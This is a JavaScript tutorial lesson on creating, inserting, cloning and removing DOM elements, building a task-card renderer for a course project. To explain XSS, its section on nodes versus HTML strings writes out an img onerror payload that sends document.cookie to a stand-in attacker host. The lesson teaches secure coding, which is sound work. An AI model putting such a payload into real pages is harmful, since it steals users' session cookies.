So far the Nómada Tasks page has been a mold: a few <li>s written by hand in the HTML that we filled with data from the model. That does not scale. The backlog has six tasks, in 06-07 more will be addable, and nobody is going to edit index.html every time Marta adds one. A real application builds its interface from the data. In this lesson you will learn to create nodes from scratch, to insert them exactly where you want, to remove them and to empty containers without leaving memory leaks, to insert a hundred elements without punishing the browser using DocumentFragment, and to do all of it safely against HTML injection. The result will be view/card.js: the function that turns a model Task into its complete <li>, with its buttons and its data-id.
Contents
- Creating nodes:
createElementandcreateTextNode - Cloning:
cloneNode(true) - Inserting with the modern methods
insertAdjacentHTMLandinsertAdjacentElement- The old methods, and why they keep showing up
- Removing and emptying containers
DocumentFragment: many nodes, a single insertion- Building with nodes versus injecting HTML
- A helper function:
buildElement(tag, props, children) <template>andcontent- Nómada Tasks:
view/card.js - Common Mistakes and Tips
- Exercises
- Conclusion
- Creating nodes:
createElement and createTextNode
createElement and createTextNodedocument.createElement(tag) manufactures a new element. Important: it is born outside the tree, in limbo. It is nowhere to be seen until you insert it.
const li = document.createElement('li');
console.log(li); // <li></li>
console.log(li.parentElement); // null ← it is not in the document yet
console.log(document.contains(li)); // falseWhile it is outside the tree you can configure it with everything you learned in 06-02, and it is the most efficient way of working: build first, insert at the end, because changes on a disconnected element do not force the browser to recalculate anything.
const li = document.createElement('li');
li.className = 'task task--high'; // className is fine here: the element is new
li.dataset.id = '6';
li.dataset.status = 'pending';
li.setAttribute('aria-label', 'Carpentry workshop quote, priority high');
document.querySelector('#task-list').append(li); // now it does appear on screendocument.createTextNode(text) creates a text node (type 3 from 06-01). You will hardly ever need it explicitly, because textContent and append do it for you, but it is worth knowing it exists and that it is immune to HTML parsing:
const text = document.createTextNode('Redesign <urgent> & review');
li.append(text);
// On screen you read it literally: Redesign <urgent> & reviewIn fact, append accepts strings directly and turns them into text nodes, with the same safety:
There are two sibling methods you will see now and then: document.createComment(text) for comments and document.createDocumentFragment() for the lightweight container in section 7.
- Cloning:
cloneNode(true)
cloneNode(true)node.cloneNode(deep) makes a copy. The argument decides whether it copies only the node or its whole content as well:
const template = document.querySelector('#task-list li');
const shallow = template.cloneNode(false); // just the <li>, empty inside
const deep = template.cloneNode(true); // the <li> with all its descendants
console.log(shallow.children.length); // 0
console.log(deep.children.length); // 3 ← span, span, buttonThree important warnings about cloning:
- It copies the attributes,
idincluded. If the original hadid="summary", so does the clone, and you will have two elements with the same id in the document:querySelector('#summary')will return only the first and you will never know which one. Change or delete the clone'sid. - It does NOT copy the handlers registered with
addEventListener. This is an advantage in disguise: the clone is born clean, and with delegation (06-04) you do not even notice, because the handler is on the container. - It does copy the inline
on…attributes, one more reason never to use them.
const clone = template.cloneNode(true);
clone.removeAttribute('id'); // mandatory hygiene if the original had an id
clone.dataset.id = '7'; // and update whatever identifies the new one
- Inserting with the modern methods
The modern insertion family is convenient, uniform and takes several arguments and text strings. All of them accept any number of nodes and/or strings.
| Method | Where it inserts | Called on |
|---|---|---|
parent.append(...) |
At the end of the children | The container |
parent.prepend(...) |
At the start of the children | The container |
elem.before(...) |
Just before the element, as a sibling | The reference sibling |
elem.after(...) |
Just after the element, as a sibling | The reference sibling |
elem.replaceWith(...) |
Replaces the element | The element to replace |
parent.replaceChildren(...) |
Replaces all the children (with no arguments, empties) | The container |
const list = document.querySelector('#task-list');
const newItem = document.createElement('li');
newItem.textContent = 'Service the bookbinding guillotine';
list.append(newItem); // at the end
list.prepend(newItem); // ← it MOVES it to the start (see the note below)
const first = list.firstElementChild;
first.after(newItem); // as the second element
first.before('Notice: ', newItem); // several arguments: text and node
newItem.replaceWith(document.createElement('li')); // replaced
list.replaceChildren(); // empty listA node can only be in one place. If you insert an element that is already in the tree, it is not duplicated: it is moved. It is very useful behavior for reordering lists, and a source of bewilderment if you are not expecting it:
const li = list.firstElementChild;
list.append(li); // there are not two: the first has become the lastTo get two copies you have to clone explicitly: list.append(li.cloneNode(true)).
insertAdjacentHTML and insertAdjacentElement
insertAdjacentHTML and insertAdjacentElementThese two methods let you insert at one of four positions relative to the element, expressed with a string:
<!-- beforebegin --> <li class="task"> <!-- afterbegin --> content <!-- beforeend --> </li> <!-- afterend -->
| Position | Where it ends up |
|---|---|
'beforebegin' |
Before the element, as the previous sibling |
'afterbegin' |
Inside, as the first child |
'beforeend' |
Inside, as the last child |
'afterend' |
After the element, as the next sibling |
const li = document.querySelector('[data-id="6"]');
li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="task__badge">⚠</span>');insertAdjacentHTML has a real advantage over innerHTML +=: it does not destroy and recreate the existing nodes, it only adds. But it shares its big flaw: it parses HTML, so it carries the same XSS risk from 06-02.
// ✗ Never with data you do not control
li.insertAdjacentHTML('beforeend', `<span>${task.title}</span>`);
// If the title is '<img src=x onerror=…>', you have just run somebody else's code.
// ✓ With literal markup you wrote yourself, with no data interpolated, it is acceptable
li.insertAdjacentHTML('beforeend', '<span class="task__badge" aria-hidden="true">⚠</span>');The rule is the same as always: HTML as a string only when it is constant. As soon as there is data interpolation, either you escape it (06-06) or you build with nodes.
- The old methods, and why they keep showing up
Before the modern family there were three methods you will see in any code that is a few years old. It is worth knowing them so you can read them, even if you do not write them.
| Old | Modern equivalent | Differences |
|---|---|---|
parent.appendChild(node) |
parent.append(node) |
The old one takes a single node, does not accept strings, and returns the inserted node |
parent.insertBefore(newNode, ref) |
ref.before(newNode) |
The old one is called on the parent and needs the reference; with ref = null it inserts at the end |
parent.removeChild(child) |
child.remove() |
The old one needs to know the parent; the modern one does not |
parent.replaceChild(newNode, oldNode) |
oldNode.replaceWith(newNode) |
The same: the old one demands the parent |
// Old
const li = document.createElement('li');
list.appendChild(li);
list.insertBefore(li, list.firstChild);
list.removeChild(li);
// Modern
list.append(li);
list.prepend(li);
li.remove();The modern ones win on everything except one detail: appendChild returns the node, which allows chaining (const p = div.appendChild(document.createElement('p'))), whereas append returns undefined. It is a minor inconvenience and it is solved with a variable.
- Removing and emptying containers
Removing an element is trivial:
Emptying a container has three forms, and they are not equivalent:
// Option A · the modern, recommended one
list.replaceChildren();
// Option B · the classic one with an empty string
list.innerHTML = '';
// Option C · by hand, node by node
while (list.firstChild) list.firstChild.remove();| Form | Readability | Parses HTML | Notes |
|---|---|---|---|
replaceChildren() |
High | No | The preferable one; it also replaces in a single operation |
innerHTML = '' |
High | Yes (an empty string, but it goes through the parser) | It works, but it invites innerHTML = '<li>…' with data |
while loop |
Low | No | Only for compatibility with very old browsers |
replaceChildren is especially elegant because it also accepts the new content, so emptying and refilling is a single operation:
The nuance of handlers and memory leaks. When you remove an element from the DOM, its handlers disappear with it… as long as nobody else holds a reference to the element. If you stored it in an array, in a Map or in another function's closure, the element stays alive in memory even though it is not on the page, together with its whole subtree and its handlers. That is a memory leak.
// ✗ Leak: the array retains the elements even though they were taken off the page
const cardCache = [];
for (const task of board.tasks) {
const li = createCard(task);
cardCache.push(li); // strong reference that outlives the remove()
list.append(li);
}
list.replaceChildren(); // the page is emptied, the memory is not
// ✓ If you need a cache, clear it too
cardCache.length = 0;This is exactly one of the patterns analyzed in Memory Management. And it is another argument in favor of the delegation from 06-04: if the only handler is on the <ul>, which is never removed, there is nothing to clean up when deleting cards.
One last note: if you remove the element that had focus, focus is lost and goes back to document.body. Anyone navigating by keyboard is left without a position. The solution is to move focus somewhere reasonable before removing:
const li = button.closest('li[data-id]');
const next = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(next?.querySelector('button') ?? list).focus();
DocumentFragment: many nodes, a single insertion
DocumentFragment: many nodes, a single insertionInserting six elements one at a time means touching the tree six times:
// Six insertions into the live document
for (const task of board.tasks) {
list.append(createCard(task));
}A DocumentFragment is a lightweight container outside the tree (nodeType 11 from 06-01). You can fill it without the browser having to recalculate anything, and when you insert it something special happens: the fragment dissolves and only its children go in.
const fragment = document.createDocumentFragment();
for (const task of board.tasks) {
fragment.append(createCard(task)); // outside the tree: no repaint cost
}
list.append(fragment); // ONE single operation on the document
console.log(fragment.childNodes.length); // 0 ← it emptied itself on insertion
console.log(list.children.length); // 6It is the equivalent of carrying the shopping in a bag instead of by the handful: fewer trips.
It is worth being honest about the size of the benefit. Modern browsers batch layout work and do not repaint after every append, so with six tasks the difference is imperceptible. With thousands of rows, or when you read geometry between one insertion and the next (the layout thrashing of 06-02), it does show. Serious measurement is the topic of Efficient DOM Manipulation.
That said, there is a reason to use it that does not depend on performance: replaceChildren with the spread does the same thing more readably, and that is the form we will adopt:
One call, complete new content, with no explicit fragment and no innerHTML.
- Building with nodes versus injecting HTML
This is the judgment point of the lesson. There are two ways of producing a task's card:
// Option 1 · HTML string
list.innerHTML += `
<li class="task task--${task.priority}" data-id="${task.id}">
<span class="task__title">${task.title}</span>
<button data-action="advance">Start</button>
</li>`;
// Option 2 · nodes
const li = document.createElement('li');
li.className = `task task--${task.priority}`;
li.dataset.id = task.id;
const title = document.createElement('span');
title.className = 'task__title';
title.textContent = task.title; // ← safe by construction
li.append(title);| Aspect | HTML string | Building with nodes |
|---|---|---|
| Readability of the structure | High: you see the shape at a glance | Medium: you have to read several lines |
| Safety with external data | Dangerous: XSS if you do not escape | Safe: textContent parses nothing |
| Preservation of existing nodes | innerHTML += destroys and recreates them |
It respects them |
| Handlers and focus | Lost on reassignment | Preserved |
| References to the created nodes | You have to look them up again | You already have them |
| Cost | Parsing HTML | Method calls |
The security problem is concrete, not theoretical. If Iván adds a task titled <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, option 1 runs that code in the context of your page. Option 2 shows the literal text and runs nothing.
On top of that, innerHTML += has an additional, very unintuitive defect: it does not add, it rebuilds. It reads all the inner HTML, concatenates your string onto it and parses the whole thing again. Every previous node is destroyed and recreated: focus is lost, the selected text is lost and the state of any <input> inside is lost.
Decision for the rest of the course: we build with nodes. In 06-06 you will see the intermediate alternative —templates with template literals plus a mandatory escapeHtml function— and in section 10 of this lesson, the best of them all for fixed structures: <template>.
- A helper function:
buildElement(tag, props, children)
buildElement(tag, props, children)Building with nodes is safe but verbose. A fifteen-line helper function recovers the readability without losing the safety. This will be a stable piece of the project:
// js/view/dom.js
/**
* Creates a configured element in a single expression.
* @param {string} tag 'li', 'button', 'span'…
* @param {object} props classes, dataset, attributes and properties
* @param {Array} children nodes or strings (strings are inserted as TEXT)
* @returns {HTMLElement}
*/
export function buildElement(tag, props = {}, children = []) {
const element = document.createElement(tag);
for (const [key, value] of Object.entries(props)) {
if (value === null || value === undefined || value === false) continue;
if (key === 'classes') {
element.classList.add(...[].concat(value).filter(Boolean));
} else if (key === 'dataset') {
Object.assign(element.dataset, value);
} else if (key === 'text') {
element.textContent = value; // ✓ never innerHTML
} else if (key in element) {
element[key] = value; // properties: disabled, value, type…
} else {
element.setAttribute(key, value); // attributes: aria-*, role…
}
}
element.append(...[].concat(children).filter(Boolean));
return element;
}
/** Selection shortcuts, so we do not repeat document.querySelector everywhere. */
export const $ = (sel, root = document) => root.querySelector(sel);
export const $$ = (sel, root = document) => [...root.querySelectorAll(sel)];Three decisions in this code are worth understanding:
key in elementtells properties from attributes.disabled,value,type,idandhiddenexist as properties of the DOM object, and assigning them directly is the right thing to do (06-02). Thearia-*ones androledo not exist as properties, so they fall through tosetAttribute. The check resolves the choice automatically.textusestextContent. There is no option in the API that parses HTML: it is impossible to cause an XSS through this function, and that impossibility is precisely the goal.[].concat(value)accepts either a single value or an array indifferently, and thefilter(Boolean)discards thenulls andfalses, which lets you write conditional children without anif.
With it, the card reads almost like the HTML it produces:
const li = buildElement('li', {
classes: ['task', `task--${task.priority}`],
dataset: { id: task.id, status: task.status }
}, [
buildElement('span', { classes: 'task__title', text: task.title }),
buildElement('button', { type: 'button', text: 'Start', dataset: { action: 'advance' } })
]);
<template> and content
<template> and contentThere is a third way that combines the best of both: declaring the structure in the HTML, where it can be read at a glance, and filling in only the data from JavaScript, with textContent.
The <template> element contains markup that the browser parses but does not display or activate: its images are not downloaded, its scripts do not run and it does not appear on the page.
<template id="task-template">
<li class="task">
<span class="task__title"></span>
<span class="task__meta"></span>
<span class="task__tags"></span>
<button type="button" class="task__action" data-action="advance"></button>
<button type="button" class="task__action" data-action="reopen">Reopen</button>
</li>
</template>Its content lives in the content property, which is a DocumentFragment. To use it you have to clone it, because the original must stay intact for the next use:
const template = document.querySelector('#task-template');
const fragment = template.content.cloneNode(true); // ✓ deep copy
const li = fragment.querySelector('li'); // now you can configure it
li.dataset.id = task.id;
li.querySelector('.task__title').textContent = task.title;
list.append(li);Typical mistakes with <template>:
// ✗ Forgetting .content: the <template> itself does not contain the <li> as a normal child
template.querySelector('li'); // null
// ✗ Forgetting to clone: you move the content out of the template and empty it
list.append(template.content); // the template is left useless for next time
// ✓ Correct
list.append(template.content.cloneNode(true));| Approach | Structure visible | Safety | When to use it |
|---|---|---|---|
createElement + buildElement |
In the JavaScript | Safe | Dynamic or conditional structures |
<template> + cloneNode |
In the HTML | Safe (you fill in with textContent) |
Fixed structures that repeat |
Template literal + innerHTML |
In the JavaScript | Dangerous without escaping | Only with constant markup |
For a list of identical cards, <template> is usually the best option: the structure can be touched by whoever does the layout without opening the JavaScript, and the code comes down to three assignment lines.
- Nómada Tasks:
view/card.js
view/card.jsLet's put it all together. This module turns a model Task into its complete <li>. It uses buildElement so as to have total control and not depend on the HTML containing the template; at the end you will see the <template> variant.
// js/view/card.js
import { buildElement } from './dom.js';
import { TODAY } from '../util/dates.js';
import { statusBadge } from '../util/format.js';
const PRIORITY_CLASS = Object.freeze({
high: 'task--high', medium: 'task--medium', low: 'task--low'
});
const NEXT = Object.freeze({ pending: 'in-progress', 'in-progress': 'done', done: null });
const LABEL = Object.freeze({
pending: 'Start', 'in-progress': 'Mark done', done: 'Completed'
});
/**
* Turns a model Task into its <li> element.
* It registers no handler at all: clicks are served by delegation (06-04).
*/
export function createCard(task, today = TODAY) {
const overdue = task.isOverdue(today);
const title = buildElement('span', {
classes: 'task__title',
text: task.title // ← textContent: safe with any title
});
const meta = buildElement('span', {
classes: 'task__meta',
text: `${statusBadge(task.status)} ${task.assignee ?? 'unassigned'} · ` +
`${task.estimatedHours} h · ${task.status}` +
(overdue ? ` · overdue by ${Math.abs(task.daysLeft)} days` : '')
});
const tags = buildElement('ul', { classes: 'task__tags' },
task.tags.map((t) => buildElement('li', { classes: 'tag', text: t }))
);
const advance = buildElement('button', {
type: 'button',
classes: 'task__action',
dataset: { action: 'advance' },
disabled: NEXT[task.status] === null,
'aria-label': `${LABEL[task.status]}: ${task.title}`,
text: LABEL[task.status]
});
const reopen = buildElement('button', {
type: 'button',
classes: 'task__action',
dataset: { action: 'reopen' },
disabled: task.status !== 'in-progress',
'aria-label': `Send back to pending: ${task.title}`,
text: 'Reopen'
});
return buildElement('li', {
classes: ['task', PRIORITY_CLASS[task.priority], overdue && 'task--overdue',
task.status === 'done' && 'task--done'],
dataset: { id: task.id, status: task.status, assignee: task.assignee ?? '' },
tabindex: '-1' // focusable by code, not with Tab
}, [title, meta, tags, advance, reopen]);
}Notice three details:
overdue && 'task--overdue'producesfalsewhen it does not apply, andbuildElement'sfilter(Boolean)discards it. It is the idiomatic form of a conditional class without writing anif.tabindex="-1"makes the<li>focusable programmatically (li.focus()) but does not put it in the tab order. It serves to return focus to a card after redrawing it, in 06-06.- The card registers not a single handler. It can be created, cloned, destroyed and recreated freely, because the only handler lives on the
<ul>. That is the dividend of the delegation from 06-04.
And this is how it is used, with replaceChildren to paint the whole list:
// js/app.js
import { Board } from './model/board.js';
import { createBacklog } from './data/backlog.js';
import { TODAY } from './util/dates.js';
import { createCard } from './view/card.js';
import { connectBoard } from './view/controller.js';
import { $ } from './view/dom.js';
const board = new Board('Taller Nómada', createBacklog());
const list = $('#task-list');
// The SIX tasks, created from the model. The HTML no longer carries any <li>.
list.replaceChildren(...board.tasks.map((t) => createCard(t, TODAY)));
connectBoard({ list, summary: $('#summary'), board, today: TODAY });The index.html gets simpler: the <ul id="task-list"> is left empty, because its content is generated by the model.
That aria-live="polite" makes a screen reader announce the list's changes without interrupting. With the six cards on screen, the summary still gives the canonical numbers: 6 tasks, 5 open, 45 h remaining, 1 overdue, effort 124.
The <template> variant, in case you prefer to have the structure in the HTML:
// js/view/card.js — template version
import { $ } from './dom.js';
export function createCardFromTemplate(task, today = TODAY) {
const li = $('#task-template').content.firstElementChild.cloneNode(true);
li.dataset.id = task.id;
li.dataset.status = task.status;
li.classList.add(PRIORITY_CLASS[task.priority]);
li.classList.toggle('task--overdue', task.isOverdue(today));
li.classList.toggle('task--done', task.status === 'done');
$('.task__title', li).textContent = task.title;
$('.task__meta', li).textContent = `${task.assignee ?? 'unassigned'} · ${task.estimatedHours} h`;
const advance = $('[data-action="advance"]', li);
advance.textContent = LABEL[task.status];
advance.disabled = NEXT[task.status] === null;
return li;
}Both are correct. The first gives you more control and does not depend on the HTML; the second separates layout and logic better. Pick one and be consistent.
Common Mistakes and Tips
- Creating an element and forgetting to insert it.
createElementdoes not add it to the page. If "nothing shows up", check that there is anappendsomewhere. - Expecting insertion to duplicate. A node can only be in one place: inserting one that was already in the tree moves it. To duplicate,
cloneNode(true). - Cloning an element with an
idand not changing it. You end up with duplicated ids andquerySelectoralways returns the first. Delete or rename the clone'sid. - Forgetting
.contentor the cloning with<template>.template.querySelector('li')givesnull;append(template.content)empties the template forever. The correct form istemplate.content.cloneNode(true). - Using
innerHTML +=to add. It does not add: it rebuilds the whole interior, which loses focus, selection, field state and direct handlers. UseappendorinsertAdjacentHTML. - Interpolating data into HTML strings. It is the door to XSS. With data, always
textContentor nodes; with constant markup,insertAdjacentHTMLis acceptable. - Storing removed nodes in arrays or
Maps. It stops the browser from freeing the memory. If you have a node cache, clear it when you empty the container. - Removing the element that had focus without relocating it. Keyboard users are left on
body. Move focus to the next sibling or to the container before removing. - Tip: build outside the tree and connect at the end. Everything you do to a disconnected element is free for the browser. It is the same principle as
DocumentFragmentandreplaceChildren(...). - Tip: a well-made
buildElementfunction pays for itself on the first screen. It gives you the readability of a template with the safety of nodes, and makes it impossible by construction for a piece of data to end up being parsed as HTML.
Exercises
Exercise 1 · A divider per priority
Write insertDividers(list) that walks the already painted <li>s and, every time the priority changes with respect to the previous one, inserts before that <li> an element <li class="divider" role="presentation"> with the text High priority, Medium priority or Low priority. It must work without duplicating dividers if it is called twice. Use before() and buildElement.
Exercise 2 · Empty and measure
Write two functions, paintWithLoop(list, tasks) and paintAtOnce(list, tasks). The first empties and does one append per task; the second uses replaceChildren(...) with the spread. Check with console.time/console.timeEnd how long they take with the 6 tasks and with 5,000 generated by repeating the backlog. Comment on the results honestly.
Exercise 3 · Card with a template and preserved focus
Add a <template id="task-template"> to the HTML and write replaceCard(li, task) that replaces an existing <li> with a freshly created card using replaceWith(), preserving focus: if the active element was inside the <li> being replaced, focus must end up on the equivalent button of the new card. Explain how you detect which the equivalent button was.
Solutions
Exercise 1
import { buildElement, $$ } from './view/dom.js';
const NAMES = { high: 'High priority', medium: 'Medium priority', low: 'Low priority' };
export function insertDividers(list) {
// Idempotence: we remove the previous dividers before anything else
$$('.divider', list).forEach((s) => s.remove());
let previous = null;
for (const li of $$('li[data-id]', list)) {
const priority = [...li.classList]
.find((c) => c.startsWith('task--') && c.slice(6) in NAMES)?.slice(6);
if (priority !== previous) {
li.before(buildElement('li', {
classes: 'divider',
role: 'presentation',
text: NAMES[priority]
}));
previous = priority;
}
}
}Two key points. Idempotence is achieved by cleaning up first: without that initial remove(), every call would add another batch of dividers. And the selector li[data-id] is essential in the loop: if we walked every <li>, the freshly inserted dividers would enter the iteration too. The role="presentation" tells the screen reader that this <li> is not a real item of the list, but a visual heading.
Exercise 2
function paintWithLoop(list, tasks) {
list.replaceChildren();
for (const t of tasks) list.append(createCard(t));
}
function paintAtOnce(list, tasks) {
list.replaceChildren(...tasks.map((t) => createCard(t)));
}
const many = Array.from({ length: 5000 }, (_, i) => {
const base = board.tasks[i % 6];
return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});
console.time('loop'); paintWithLoop(list, many); console.timeEnd('loop');
console.time('at once'); paintAtOnce(list, many); console.timeEnd('at once');Typical results on an ordinary laptop: with 6 tasks both are around 1 ms and the difference is pure measurement noise. With 5,000, the all-at-once version is usually between 10 % and 30 % ahead, but the bulk of the time goes into creating the 5,000 cards, not inserting them.
The honest conclusion is that the classic insistence on DocumentFragment is somewhat overrated for the normal case: modern browsers do not repaint after every append. replaceChildren(...) is preferred for clarity, not for speed. And the underlying lesson is the one from 09-01: measure before optimizing, because intuition about performance is wrong almost every time.
Exercise 3
export function replaceCard(li, task, today = TODAY) {
// 1 · Was focus inside? We store WHICH button it was, not the reference
const active = document.activeElement;
const hadFocus = li.contains(active);
const focusedAction = hadFocus ? active.dataset.action ?? null : null;
// 2 · We build the new card and replace
const fresh = createCard(task, today);
li.replaceWith(fresh);
// 3 · We restore focus on the equivalent button
if (hadFocus) {
const target = focusedAction !== null
? fresh.querySelector(`[data-action="${focusedAction}"]`)
: null;
(target !== null && !target.disabled ? target : fresh).focus();
}
return fresh;
}The equivalent button is identified by its data-action, not by its position or by a reference to the old node (which has just stopped existing). It is the same principle as the cards' data-id: a stable key that survives the recreation of the DOM. And the <li>'s tabindex="-1" is what makes the fresh.focus() fallback possible when the equivalent button has ended up disabled —for example, after marking the task as done—: without it, focus would land on document.body and anyone navigating by keyboard would lose their position in the list.
That problem —redrawing and losing focus— is precisely what leads into the next lesson.
Conclusion
You no longer depend on hand-written HTML: you know how to manufacture the interface. You create nodes with createElement (which are born outside the tree, and that is why configuring them is free) and with createTextNode, and you copy them with cloneNode(true), remembering that the clone drags along the id but not the addEventListener handlers. You insert them with the modern family —append, prepend, before, after, replaceWith, replaceChildren—, which takes several arguments and text strings, knowing that inserting a node already in the tree moves it instead of duplicating it. You know insertAdjacentHTML/insertAdjacentElement with their four positions (beforebegin, afterbegin, beforeend, afterend) and the warning that the first one parses HTML. And you recognize the old methods appendChild, insertBefore, removeChild and replaceChild so you can read legacy code, even though you write the modern ones.
You know how to remove with remove() and empty with replaceChildren(), which is preferable to innerHTML = '' because it does not go through the HTML parser and because the same call lets you empty and refill at once. You are clear about the nuance that matters: handlers disappear with the element unless somebody retains a reference in an array, a Map or a closure, and that is the origin of a classic memory leak; and that removing the focused element leaves keyboard users without a position. You know DocumentFragment for batching insertions, together with an honest assessment of its real impact, and you know that replaceChildren(...nodes) achieves the same thing more clearly.
Above all, you have the construction criterion: nodes versus strings. Interpolating data into HTML is the direct door to XSS, and innerHTML += does not even add —it rebuilds the whole interior and takes focus, selection and state down with it. The answer is buildElement(tag, props, children) in view/dom.js, which tells properties from attributes with key in element, accepts conditional classes and always uses textContent; or else <template> with content.cloneNode(true) when the structure is fixed and you prefer to have it in the HTML. With those pieces you have written view/card.js: createCard(task) returns the complete <li> of a task, with its priority, its overdue badge, its tags, its two buttons with data-action and its data-id, without registering a single handler, because delegation already takes care of that. The <ul> in the HTML has been left empty and the backlog's six tasks are painted from the model.
What is missing is the step that turns all of this into a real application: redrawing when the data changes. Right now you paint once at startup and then patch each <li> by hand. The natural thing is to have a render(state) function that draws the whole board from the Board, and repeat it after every change. But that brings its own problem, which you have already brushed against in the last exercise: redrawing everything destroys the nodes, and with them go focus, scrolling and whatever the user had typed. How the cycle state → render → event → new state → render is organized, how tasks are grouped into columns, how the data is escaped if you decide to use text templates, and how only what has changed is updated by reusing nodes by their data-id, is Rendering Lists and HTML Templates.
JavaScript Course: From Beginner to Advanced
Module 1: Introduction to JavaScript
- What Is JavaScript?
- Setting Up Your Development Environment
- Your First JavaScript Program
- JavaScript Syntax and Basic Concepts
- Variables and Data Types
- Basic Operators
- Type Conversion and Comparisons
- The Course Project: Nómada Tasks
Module 2: Control Structures
- Conditional Statements
- Loops: for, while, do-while
- Switch Statements
- Flow Control: break, continue and Nested Loops
- Error Handling with try-catch
Module 3: Functions
- Defining and Calling Functions
- Function Expressions and Arrow Functions
- Parameters and Return Values
- Scope and Closures
- Hoisting and the Execution Context
- Higher-Order Functions
- Recursion
Module 4: Objects and Arrays
- Introduction to Objects
- Object Methods and the
thisKeyword - Arrays: Basics and Methods
- Iterating over Arrays
- Searching, Sorting and Aggregating Data: find, sort and reduce
- Array Destructuring
- Object Destructuring, Spread and Rest
- JSON and Copying Objects
Module 5: Advanced Objects and Functions
- Prototypes and Inheritance
- Classes and Object-Oriented Programming
- Encapsulation: Getters, Setters and Private Fields
- Modules: Import and Export
- Asynchronous JavaScript: Callbacks
- Promises and Async/Await
- The Event Loop and the Microtask Queue
- Iterators and Generators
Module 6: The Document Object Model (DOM)
- Introduction to the DOM
- Selecting and Manipulating DOM Elements
- Handling Events
- Propagation, Delegation and Custom Events
- Creating and Removing DOM Elements
- Rendering Lists and HTML Templates
- Handling and Validating Forms
Module 7: Browser APIs and Advanced Topics
- Local and Session Storage
- The Fetch API and AJAX
- Robust Requests: Errors, Timeouts and AbortController
- WebSockets
- Service Workers and Progressive Web Apps (PWAs)
- Essential Browser APIs
- Introduction to WebAssembly
Module 8: Testing and Debugging
- Debugging JavaScript
- Code Quality: ESLint, Prettier and Conventions
- Unit Testing with Jest
- Test Doubles: Mocks, Stubs and Spies
- Integration Testing
- End-to-End Testing with Cypress
Module 9: Performance and Optimization
- Measure Before You Optimize: DevTools and Web Vitals
- Optimizing JavaScript Performance
- Memory Management
- Efficient DOM Manipulation
- Lazy Loading and Code Splitting
Module 10: JavaScript Frameworks and Libraries
- Why Frameworks Exist
- Introduction to React
- State Management with Redux
- Vue.js Basics
- Angular Basics
- Choosing the Right Framework
